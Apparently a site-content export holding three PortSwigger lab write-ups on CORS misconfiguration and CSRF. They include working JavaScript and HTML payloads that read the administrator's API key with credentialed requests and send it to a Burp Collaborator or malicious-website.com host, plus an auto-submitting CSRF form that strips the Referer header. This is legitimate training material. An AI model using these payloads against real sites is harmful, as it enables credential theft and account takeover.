Lab)",{"type":8,"value":6205,"toc":6575},[6206,6210,6212,6219,6221,6223,6229,6231,6238,6240,6243,6249,6260,6264,6267,6385,6395,6515,6518,6570,6572],[11,6207,6209],{"id":6208},"cors-vulnerability-with-basic-origin-reflection","CORS Vulnerability with Basic Origin Reflection",[19,6211,121],{"id":120},[15,6213,6214,399],{},[125,6215,6218],{"href":6216,"rel":6217},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcors\u002Flab-basic-origin-reflection-attack",[129],"CORS vulnerability with basic origin reflection",[19,6220,135],{"id":134},[137,6222,140],{"id":139},[142,6224,6227],{"className":6225,"code":6226,"language":147},[145],"This website has an insecure CORS configuration in that it trusts all origins.\n\nTo solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[37,6228,6226],{"__ignoreMap":87},[137,6230,2057],{"id":2056},[15,6232,6233,6234,6237],{},"We're given a site whose CORS headers are insecurely configured, and ACAO simply reflects the ",[37,6235,6236],{},"Origin"," header. We need to find the endpoint that exposes the API key and exfiltrate it to our server.",[137,6239,1506],{"id":1505},[15,6241,6242],{},"First, let's find the endpoint that returns the API token:",[142,6244,6247],{"className":6245,"code":6246,"language":147},[145],"GET \u002FaccountDetails HTTP\u002F2\n",[37,6248,6246],{"__ignoreMap":87},[15,6250,6251,6252,6255,6256,6259],{},"We send the request to Repeater. Add an ",[37,6253,6254],{},"Origin: https:\u002F\u002Fya.ru"," header for testing, send it — yes, the server adds ",[37,6257,6258],{},"ya.ru"," to ACAO. We can build the payload.",[137,6261,6263],{"id":6262},"building-the-payload","Building the payload",[15,6265,6266],{},"PortSwigger gives a nice template to start from:",[142,6268,6272],{"className":6269,"code":6270,"language":6271,"meta":87,"style":87},"language-js shiki shiki-themes github-light github-dark","var req = new XMLHttpRequest();\nreq.onload = reqListener;\nreq.open('get','https:\u002F\u002Fvulnerable-website.com\u002Fsensitive-victim-data',true);\nreq.withCredentials = true;\nreq.send();\n\nfunction reqListener() {\n  location='\u002F\u002Fmalicious-website.com\u002Flog?key='+this.responseText;\n};\n","js",[37,6273,6274,6292,6302,6328,6340,6349,6353,6363,6380],{"__ignoreMap":87},[313,6275,6276,6278,6281,6283,6286,6289],{"class":315,"line":316},[313,6277,5639],{"class":761},[313,6279,6280],{"class":748}," req ",[313,6282,3037],{"class":761},[313,6284,6285],{"class":761}," new",[313,6287,6288],{"class":795}," XMLHttpRequest",[313,6290,6291],{"class":748},"();\n",[313,6293,6294,6297,6299],{"class":315,"line":88},[313,6295,6296],{"class":748},"req.onload ",[313,6298,3037],{"class":761},[313,6300,6301],{"class":748}," reqListener;\n",[313,6303,6304,6307,6310,6312,6315,6318,6321,6323,6326],{"class":315,"line":253},[313,6305,6306],{"class":748},"req.",[313,6308,6309],{"class":795},"open",[313,6311,3205],{"class":748},[313,6313,6314],{"class":771},"'get'",[313,6316,6317],{"class":748},",",[313,6319,6320],{"class":771},"'https:\u002F\u002Fvulnerable-website.com\u002Fsensitive-victim-data'",[313,6322,6317],{"class":748},[313,6324,6325],{"class":808},"true",[313,6327,5710],{"class":748},[313,6329,6330,6333,6335,6338],{"class":315,"line":780},[313,6331,6332],{"class":748},"req.withCredentials ",[313,6334,3037],{"class":761},[313,6336,6337],{"class":808}," true",[313,6339,5650],{"class":748},[313,6341,6342,6344,6347],{"class":315,"line":792},[313,6343,6306],{"class":748},[313,6345,6346],{"class":795},"send",[313,6348,6291],{"class":748},[313,6350,6351],{"class":315,"line":802},[313,6352,777],{"emptyLinePlaceholder":96},[313,6354,6355,6358,6361],{"class":315,"line":821},[313,6356,6357],{"class":761},"function",[313,6359,6360],{"class":795}," reqListener",[313,6362,799],{"class":748},[313,6364,6365,6368,6370,6373,6375,6377],{"class":315,"line":833},[313,6366,6367],{"class":748},"  location",[313,6369,3037],{"class":761},[313,6371,6372],{"class":771},"'\u002F\u002Fmalicious-website.com\u002Flog?key='",[313,6374,3211],{"class":761},[313,6376,725],{"class":808},[313,6378,6379],{"class":748},".responseText;\n",[313,6381,6382],{"class":315,"line":842},[313,6383,6384],{"class":748},"};\n",[15,6386,6387,6388,6391,6392,212],{},"Let's plug in our ",[37,6389,6390],{},"GET \u002FaccountDetails"," and exfiltration to Burp Collaborator — ",[37,6393,6394],{},"lg5dqhqluws9msxsk2x6fc9lkcq3eu2j.oastify.com",[142,6396,6398],{"className":3020,"code":6397,"language":3022,"meta":87,"style":87},"\u003Cscript>\n  var req = new XMLHttpRequest();\n  req.onload = reqListener;\n  req.open('get','https:\u002F\u002F0a0d00db04ed6de980ea0321007000d2.web-security-academy.net\u002FaccountDetails',true);\n  req.withCredentials = true;\n  req.send();\n\n  function reqListener() {\n    location='\u002F\u002Flg5dqhqluws9msxsk2x6fc9lkcq3eu2j.oastify.com\u002Flog?key='+this.responseText;\n  };\n\u003C\u002Fscript>\n",[37,6399,6400,6408,6423,6432,6454,6465,6473,6477,6486,6502,6507],{"__ignoreMap":87},[313,6401,6402,6404,6406],{"class":315,"line":316},[313,6403,749],{"class":748},[313,6405,753],{"class":752},[313,6407,756],{"class":748},[313,6409,6410,6413,6415,6417,6419,6421],{"class":315,"line":88},[313,6411,6412],{"class":761},"  var",[313,6414,6280],{"class":748},[313,6416,3037],{"class":761},[313,6418,6285],{"class":761},[313,6420,6288],{"class":795},[313,6422,6291],{"class":748},[313,6424,6425,6428,6430],{"class":315,"line":253},[313,6426,6427],{"class":748},"  req.onload ",[313,6429,3037],{"class":761},[313,6431,6301],{"class":748},[313,6433,6434,6437,6439,6441,6443,6445,6448,6450,6452],{"class":315,"line":780},[313,6435,6436],{"class":748},"  req.",[313,6438,6309],{"class":795},[313,6440,3205],{"class":748},[313,6442,6314],{"class":771},[313,6444,6317],{"class":748},[313,6446,6447],{"class":771},"'https:\u002F\u002F0a0d00db04ed6de980ea0321007000d2.web-security-academy.net\u002FaccountDetails'",[313,6449,6317],{"class":748},[313,6451,6325],{"class":808},[313,6453,5710],{"class":748},[313,6455,6456,6459,6461,6463],{"class":315,"line":792},[313,6457,6458],{"class":748},"  req.withCredentials ",[313,6460,3037],{"class":761},[313,6462,6337],{"class":808},[313,6464,5650],{"class":748},[313,6466,6467,6469,6471],{"class":315,"line":802},[313,6468,6436],{"class":748},[313,6470,6346],{"class":795},[313,6472,6291],{"class":748},[313,6474,6475],{"class":315,"line":821},[313,6476,777],{"emptyLinePlaceholder":96},[313,6478,6479,6482,6484],{"class":315,"line":833},[313,6480,6481],{"class":761},"  function",[313,6483,6360],{"class":795},[313,6485,799],{"class":748},[313,6487,6488,6491,6493,6496,6498,6500],{"class":315,"line":842},[313,6489,6490],{"class":748},"    location",[313,6492,3037],{"class":761},[313,6494,6495],{"class":771},"'\u002F\u002Flg5dqhqluws9msxsk2x6fc9lkcq3eu2j.oastify.com\u002Flog?key='",[313,6497,3211],{"class":761},[313,6499,725],{"class":808},[313,6501,6379],{"class":748},[313,6503,6504],{"class":315,"line":848},[313,6505,6506],{"class":748},"  };\n",[313,6508,6509,6511,6513],{"class":315,"line":853},[313,6510,946],{"class":748},[313,6512,753],{"class":752},[313,6514,756],{"class":748},[15,6516,6517],{},"The request lands, decode the response:",[142,6519,6521],{"className":6033,"code":6520,"language":6035,"meta":87,"style":87},"{ \"username\": \"administrator\", \"email\": \"\", \"apikey\": \"jzf1QJXYkPxziewNiNtqMjZQY3tZGm8l\", \"sessions\": [\"kO1D55tBNiHVngwAxcDKzleadUQWgwqT\"] }\n",[37,6522,6523],{"__ignoreMap":87},[313,6524,6525,6528,6531,6533,6536,6538,6541,6543,6546,6548,6551,6553,6556,6558,6561,6564,6567],{"class":315,"line":316},[313,6526,6527],{"class":748},"{ ",[313,6529,6530],{"class":808},"\"username\"",[313,6532,6050],{"class":748},[313,6534,6535],{"class":771},"\"administrator\"",[313,6537,4244],{"class":748},[313,6539,6540],{"class":808},"\"email\"",[313,6542,6050],{"class":748},[313,6544,6545],{"class":771},"\"\"",[313,6547,4244],{"class":748},[313,6549,6550],{"class":808},"\"apikey\"",[313,6552,6050],{"class":748},[313,6554,6555],{"class":771},"\"jzf1QJXYkPxziewNiNtqMjZQY3tZGm8l\"",[313,6557,4244],{"class":748},[313,6559,6560],{"class":808},"\"sessions\"",[313,6562,6563],{"class":748},": [",[313,6565,6566],{"class":771},"\"kO1D55tBNiHVngwAxcDKzleadUQWgwqT\"",[313,6568,6569],{"class":748},"] }\n",[15,6571,3968],{},[361,6573,6574],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":87,"searchDepth":88,"depth":88,"links":6576},[6577,6578],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":6579},[6580,6581,6582,6583],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},{"id":6262,"depth":253,"text":6263},"2026-05-13","Exfiltrating the administrator API key via CORS — the server reflects `Origin` into `Access-Control-Allow-Origin`, and an `XMLHttpRequest` with `withCredentials` sends the response to Burp Collaborator.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fcors-basic-origin-reflection",{"title":6203,"description":6585},{"loc":6587},"notes\u002Fpentesting\u002Fportswigger\u002Fcors-basic-origin-reflection",[264,6592,269],"cors","o2GWj2Db4wPz4jIlfKIJhT6PvwsZEIWm50kjbl2ZaTs",{"id":6595,"title":6596,"author":6,"body":6597,"date":6584,"description":6867,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":6868,"navigation":96,"notes":93,"path":6869,"psTitle":6611,"seo":6870,"sitemap":6871,"stem":6872,"tags":6873,"timeSpent":2024,"type":106,"__hash__":6874},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fcors-trusted-null-origin.md","CORS Vulnerability with Trusted Null Origin (PortSwigger Lab)",{"type":8,"value":6598,"toc":6859},[6599,6603,6605,6612,6614,6616,6622,6624,6637,6640,6728,6731,6733,6810,6813,6856],[11,6600,6602],{"id":6601},"cors-vulnerability-with-trusted-null-origin","CORS Vulnerability with Trusted Null Origin",[19,6604,121],{"id":120},[15,6606,6607,399],{},[125,6608,6611],{"href":6609,"rel":6610},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcors\u002Flab-null-origin-whitelisted-attack",[129],"CORS vulnerability with trusted null origin",[19,6613,135],{"id":134},[137,6615,140],{"id":139},[142,6617,6620],{"className":6618,"code":6619,"language":147},[145],"This website has an insecure CORS configuration in that it trusts the \"null\" origin.\n\nTo solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[37,6621,6619],{"__ignoreMap":87},[137,6623,2057],{"id":2056},[15,6625,6626,6627,6630,6631,6634,6635,524],{},"This lab is essentially the same as the previous one — ",[6628,6629,6218],"em",{},". Only this time we need to send ",[37,6632,6633],{},"null"," as the ",[37,6636,6236],{},[15,6638,6639],{},"For this case, PortSwigger suggests this payload:",[142,6641,6643],{"className":3020,"code":6642,"language":3022,"meta":87,"style":87},"\u003Ciframe sandbox=\"allow-scripts allow-top-navigation allow-forms\" src=\"data:text\u002Fhtml,\u003Cscript>\nvar req = new XMLHttpRequest();\nreq.onload = reqListener;\nreq.open('get','vulnerable-website.com\u002Fsensitive-victim-data',true);\nreq.withCredentials = true;\nreq.send();\n\nfunction reqListener() {\n  location='malicious-website.com\u002Flog?key='+this.responseText;\n};\n\u003C\u002Fscript>\">\u003C\u002Fiframe>\n",[37,6644,6645,6672,6677,6682,6687,6692,6697,6701,6706,6711,6715],{"__ignoreMap":87},[313,6646,6647,6649,6652,6655,6657,6660,6662,6664,6667,6669],{"class":315,"line":316},[313,6648,749],{"class":748},[313,6650,6651],{"class":752},"iframe",[313,6653,6654],{"class":795}," sandbox",[313,6656,3037],{"class":748},[313,6658,6659],{"class":771},"\"allow-scripts allow-top-navigation allow-forms\"",[313,6661,3062],{"class":795},[313,6663,3037],{"class":748},[313,6665,6666],{"class":771},"\"data:text\u002Fhtml,",[313,6668,749],{"class":3104},[313,6670,6671],{"class":771},"script>\n",[313,6673,6674],{"class":315,"line":88},[313,6675,6676],{"class":771},"var req = new XMLHttpRequest();\n",[313,6678,6679],{"class":315,"line":253},[313,6680,6681],{"class":771},"req.onload = reqListener;\n",[313,6683,6684],{"class":315,"line":780},[313,6685,6686],{"class":771},"req.open('get','vulnerable-website.com\u002Fsensitive-victim-data',true);\n",[313,6688,6689],{"class":315,"line":792},[313,6690,6691],{"class":771},"req.withCredentials = true;\n",[313,6693,6694],{"class":315,"line":802},[313,6695,6696],{"class":771},"req.send();\n",[313,6698,6699],{"class":315,"line":821},[313,6700,777],{"emptyLinePlaceholder":96},[313,6702,6703],{"class":315,"line":833},[313,6704,6705],{"class":771},"function reqListener() {\n",[313,6707,6708],{"class":315,"line":842},[313,6709,6710],{"class":771},"  location='malicious-website.com\u002Flog?key='+this.responseText;\n",[313,6712,6713],{"class":315,"line":848},[313,6714,6384],{"class":771},[313,6716,6717,6719,6722,6724,6726],{"class":315,"line":853},[313,6718,749],{"class":3104},[313,6720,6721],{"class":771},"\u002Fscript>\"",[313,6723,3120],{"class":748},[313,6725,6651],{"class":752},[313,6727,756],{"class":748},[15,6729,6730],{},"Add the lab server URL. Add the Burp Collaborator address.",[137,6732,1532],{"id":1531},[142,6734,6736],{"className":3020,"code":6735,"language":3022,"meta":87,"style":87},"\u003Ciframe sandbox=\"allow-scripts allow-top-navigation allow-forms\" src=\"data:text\u002Fhtml,\u003Cscript>\nvar req = new XMLHttpRequest();\nreq.onload = reqListener;\nreq.open('get','https:\u002F\u002F0a0a00ea035af99f80fe030b0009004f.web-security-academy.net\u002FaccountDetails',true);\nreq.withCredentials = true;\nreq.send();\n\nfunction reqListener() {\n  location='https:\u002F\u002Flynd8h8lcwa94sfs22f6xcrl2c83wvkk.oastify.com\u002Flog?key='+this.responseText;\n};\n\u003C\u002Fscript>\">\u003C\u002Fiframe>\n",[37,6737,6738,6760,6764,6768,6773,6777,6781,6785,6789,6794,6798],{"__ignoreMap":87},[313,6739,6740,6742,6744,6746,6748,6750,6752,6754,6756,6758],{"class":315,"line":316},[313,6741,749],{"class":748},[313,6743,6651],{"class":752},[313,6745,6654],{"class":795},[313,6747,3037],{"class":748},[313,6749,6659],{"class":771},[313,6751,3062],{"class":795},[313,6753,3037],{"class":748},[313,6755,6666],{"class":771},[313,6757,749],{"class":3104},[313,6759,6671],{"class":771},[313,6761,6762],{"class":315,"line":88},[313,6763,6676],{"class":771},[313,6765,6766],{"class":315,"line":253},[313,6767,6681],{"class":771},[313,6769,6770],{"class":315,"line":780},[313,6771,6772],{"class":771},"req.open('get','https:\u002F\u002F0a0a00ea035af99f80fe030b0009004f.web-security-academy.net\u002FaccountDetails',true);\n",[313,6774,6775],{"class":315,"line":792},[313,6776,6691],{"class":771},[313,6778,6779],{"class":315,"line":802},[313,6780,6696],{"class":771},[313,6782,6783],{"class":315,"line":821},[313,6784,777],{"emptyLinePlaceholder":96},[313,6786,6787],{"class":315,"line":833},[313,6788,6705],{"class":771},[313,6790,6791],{"class":315,"line":842},[313,6792,6793],{"class":771},"  location='https:\u002F\u002Flynd8h8lcwa94sfs22f6xcrl2c83wvkk.oastify.com\u002Flog?key='+this.responseText;\n",[313,6795,6796],{"class":315,"line":848},[313,6797,6384],{"class":771},[313,6799,6800,6802,6804,6806,6808],{"class":315,"line":853},[313,6801,749],{"class":3104},[313,6803,6721],{"class":771},[313,6805,3120],{"class":748},[313,6807,6651],{"class":752},[313,6809,756],{"class":748},[15,6811,6812],{},"It landed in Burp Collaborator:",[142,6814,6816],{"className":6033,"code":6815,"language":6035,"meta":87,"style":87},"{ \"username\": \"administrator\", \"email\": \"\", \"apikey\": \"JWG2ozE8VQh0xNGRHFkUNn4hbZV0G8O1\", \"sessions\": [\"G9Hisz1V4jr5bLxv7lCRqtHHBoyB1BeO\"] }\n",[37,6817,6818],{"__ignoreMap":87},[313,6819,6820,6822,6824,6826,6828,6830,6832,6834,6836,6838,6840,6842,6845,6847,6849,6851,6854],{"class":315,"line":316},[313,6821,6527],{"class":748},[313,6823,6530],{"class":808},[313,6825,6050],{"class":748},[313,6827,6535],{"class":771},[313,6829,4244],{"class":748},[313,6831,6540],{"class":808},[313,6833,6050],{"class":748},[313,6835,6545],{"class":771},[313,6837,4244],{"class":748},[313,6839,6550],{"class":808},[313,6841,6050],{"class":748},[313,6843,6844],{"class":771},"\"JWG2ozE8VQh0xNGRHFkUNn4hbZV0G8O1\"",[313,6846,4244],{"class":748},[313,6848,6560],{"class":808},[313,6850,6563],{"class":748},[313,6852,6853],{"class":771},"\"G9Hisz1V4jr5bLxv7lCRqtHHBoyB1BeO\"",[313,6855,6569],{"class":748},[361,6857,6858],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":87,"searchDepth":88,"depth":88,"links":6860},[6861,6862],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":6863},[6864,6865,6866],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1531,"depth":253,"text":1532},"Exfiltrating the administrator API key via CORS with a trusted `null` origin — a sandboxed iframe with a `data:` URL gives the right Origin.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fcors-trusted-null-origin",{"title":6596,"description":6867},{"loc":6869},"notes\u002Fpentesting\u002Fportswigger\u002Fcors-trusted-null-origin",[264,6592,269],"SYFVhaFnS4KagREt_6qw9bv-lPJ0K3GC4zKVVA5AuLA",{"id":6876,"title":6877,"author":6,"body":6878,"date":6584,"description":7199,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":7200,"navigation":96,"notes":93,"path":7201,"psTitle":6892,"seo":7202,"sitemap":7203,"stem":7204,"tags":7205,"timeSpent":2024,"type":106,"__hash__":7208},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fcsrf-referer-validation-depends-on-header-being-present.md","CSRF Where Referer Validation Depends on Header Being Present (PortSwigger Lab)",{"type":8,"value":6879,"toc":7190},[6880,6884,6886,6893,6895,6897,6903,6905,6911,6913,6916,6922,6927,6933,6943,6949,6962,6965,6994,6998,7004,7185,7187],[11,6881,6883],{"id":6882},"csrf-where-referer-validation-depends-on-header-being-present","CSRF Where Referer Validation Depends on Header Being Present",[19,6885,121],{"id":120},[15,6887,6888,131],{},[125,6889,6892],{"href":6890,"rel":6891},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcsrf\u002Fbypassing-referer-based-defenses\u002Flab-referer-validation-depends-on-header-being-present",[129],"CSRF where Referer validation depends on header being present",[19,6894,135],{"id":134},[137,6896,140],{"id":139},[142,6898,6901],{"className":6899,"code":6900,"language":147},[145],"This lab's email change functionality is vulnerable to CSRF. It attempts to block cross domain requests but has an insecure fallback.\n\nTo solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[37,6902,6900],{"__ignoreMap":87},[137,6904,2057],{"id":2056},[15,6906,6907,6908,6910],{},"We need to change the user's email by exploiting a CSRF vulnerability. Delivery — through the exploit server. The lab has CSRF protection but also some vulnerable fallback. The lab's title hints that the ",[37,6909,4668],{}," validation depends on the header being present.",[137,6912,1506],{"id":1505},[15,6914,6915],{},"Let's see how the email change feature works:",[142,6917,6920],{"className":6918,"code":6919,"language":147},[145],"POST \u002Fmy-account\u002Fchange-email\n",[37,6921,6919],{"__ignoreMap":87},[15,6923,6924,6925,212],{},"The request contains a ",[37,6926,4668],{},[142,6928,6931],{"className":6929,"code":6930,"language":147},[145],"Referer: https:\u002F\u002F0af900b5045d743e805344a6006d0040.web-security-academy.net\u002Fmy-account?id=wiener\n",[37,6932,6930],{"__ignoreMap":87},[15,6934,6935,6936,6939,6940,524],{},"We send the request to Repeater, change the email, set ",[37,6937,6938],{},"Referer: https:\u002F\u002Fya",". The response — ",[37,6941,6942],{},"400 Invalid referer header",[15,6944,6945,6946,6948],{},"OK, let's try removing the ",[37,6947,4668],{}," entirely. Works!",[15,6950,6951,6952,6954,6955,6958,6959,6961],{},"Now I need to remember how to strip ",[37,6953,4668],{}," from the request. I remember for sure there was some header along the lines of ",[37,6956,6957],{},"*_no_referer",". A form submit probably won't do? Or can we configure ",[37,6960,4668],{}," transmission behavior there? OK, off to skim the PortSwigger docs.",[15,6963,6964],{},"The docs suggested this:",[142,6966,6968],{"className":3020,"code":6967,"language":3022,"meta":87,"style":87},"\u003Cmeta name=\"referrer\" content=\"never\">\n",[37,6969,6970],{"__ignoreMap":87},[313,6971,6972,6974,6977,6979,6981,6984,6987,6989,6992],{"class":315,"line":316},[313,6973,749],{"class":748},[313,6975,6976],{"class":752},"meta",[313,6978,5207],{"class":795},[313,6980,3037],{"class":748},[313,6982,6983],{"class":771},"\"referrer\"",[313,6985,6986],{"class":795}," content",[313,6988,3037],{"class":748},[313,6990,6991],{"class":771},"\"never\"",[313,6993,756],{"class":748},[137,6995,6997],{"id":6996},"implementing-the-exploit","Implementing the exploit",[15,6999,7000,7001,7003],{},"First, disable ",[37,7002,4668],{}," transmission. Pull the email change form from the lab page, fill in our email, add the full URL to the lab, and submit the form.",[142,7005,7007],{"className":3020,"code":7006,"language":3022,"meta":87,"style":87},"\u003Cmeta name=\"referrer\" content=\"never\">\n\u003Cform class=\"login-form\" name=\"change-email-form\"\n      action=\"https:\u002F\u002F0af900b5045d743e805344a6006d0040.web-security-academy.net\u002Fmy-account\u002Fchange-email\" method=\"POST\">\n  \u003Clabel>Email\u003C\u002Flabel>\n  \u003Cinput required type=\"email\" name=\"email\" value=\"hhh@p.com\">\n  \u003Cbutton class=\"button\" type=\"submit\">Update email\u003C\u002Fbutton>\n\u003C\u002Fform>\n\n\u003Cscript>\n  document.forms[0].submit()\n\u003C\u002Fscript>\n",[37,7008,7009,7029,7050,7070,7084,7113,7141,7149,7153,7161,7177],{"__ignoreMap":87},[313,7010,7011,7013,7015,7017,7019,7021,7023,7025,7027],{"class":315,"line":316},[313,7012,749],{"class":748},[313,7014,6976],{"class":752},[313,7016,5207],{"class":795},[313,7018,3037],{"class":748},[313,7020,6983],{"class":771},[313,7022,6986],{"class":795},[313,7024,3037],{"class":748},[313,7026,6991],{"class":771},[313,7028,756],{"class":748},[313,7030,7031,7033,7036,7038,7040,7043,7045,7047],{"class":315,"line":88},[313,7032,749],{"class":748},[313,7034,7035],{"class":752},"form",[313,7037,3034],{"class":795},[313,7039,3037],{"class":748},[313,7041,7042],{"class":771},"\"login-form\"",[313,7044,5207],{"class":795},[313,7046,3037],{"class":748},[313,7048,7049],{"class":771},"\"change-email-form\"\n",[313,7051,7052,7055,7057,7060,7063,7065,7068],{"class":315,"line":253},[313,7053,7054],{"class":795},"      action",[313,7056,3037],{"class":748},[313,7058,7059],{"class":771},"\"https:\u002F\u002F0af900b5045d743e805344a6006d0040.web-security-academy.net\u002Fmy-account\u002Fchange-email\"",[313,7061,7062],{"class":795}," method",[313,7064,3037],{"class":748},[313,7066,7067],{"class":771},"\"POST\"",[313,7069,756],{"class":748},[313,7071,7072,7074,7077,7080,7082],{"class":315,"line":780},[313,7073,971],{"class":748},[313,7075,7076],{"class":752},"label",[313,7078,7079],{"class":748},">Email\u003C\u002F",[313,7081,7076],{"class":752},[313,7083,756],{"class":748},[313,7085,7086,7088,7090,7092,7094,7096,7098,7100,7102,7104,7106,7108,7111],{"class":315,"line":792},[313,7087,971],{"class":748},[313,7089,5194],{"class":752},[313,7091,5197],{"class":795},[313,7093,5200],{"class":795},[313,7095,3037],{"class":748},[313,7097,6540],{"class":771},[313,7099,5207],{"class":795},[313,7101,3037],{"class":748},[313,7103,6540],{"class":771},[313,7105,5214],{"class":795},[313,7107,3037],{"class":748},[313,7109,7110],{"class":771},"\"hhh@p.com\"",[313,7112,756],{"class":748},[313,7114,7115,7117,7120,7122,7124,7127,7129,7131,7134,7137,7139],{"class":315,"line":802},[313,7116,971],{"class":748},[313,7118,7119],{"class":752},"button",[313,7121,3034],{"class":795},[313,7123,3037],{"class":748},[313,7125,7126],{"class":771},"\"button\"",[313,7128,5200],{"class":795},[313,7130,3037],{"class":748},[313,7132,7133],{"class":771},"\"submit\"",[313,7135,7136],{"class":748},">Update email\u003C\u002F",[313,7138,7119],{"class":752},[313,7140,756],{"class":748},[313,7142,7143,7145,7147],{"class":315,"line":821},[313,7144,946],{"class":748},[313,7146,7035],{"class":752},[313,7148,756],{"class":748},[313,7150,7151],{"class":315,"line":833},[313,7152,777],{"emptyLinePlaceholder":96},[313,7154,7155,7157,7159],{"class":315,"line":842},[313,7156,749],{"class":748},[313,7158,753],{"class":752},[313,7160,756],{"class":748},[313,7162,7163,7166,7168,7171,7174],{"class":315,"line":848},[313,7164,7165],{"class":748},"  document.forms[",[313,7167,5685],{"class":808},[313,7169,7170],{"class":748},"].",[313,7172,7173],{"class":795},"submit",[313,7175,7176],{"class":748},"()\n",[313,7178,7179,7181,7183],{"class":315,"line":853},[313,7180,946],{"class":748},[313,7182,753],{"class":752},[313,7184,756],{"class":748},[15,7186,3968],{},[361,7188,7189],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":87,"searchDepth":88,"depth":88,"links":7191},[7192,7193],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":7194},[7195,7196,7197,7198],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},{"id":6996,"depth":253,"text":6997},"Bypassing the lab's Referer validation 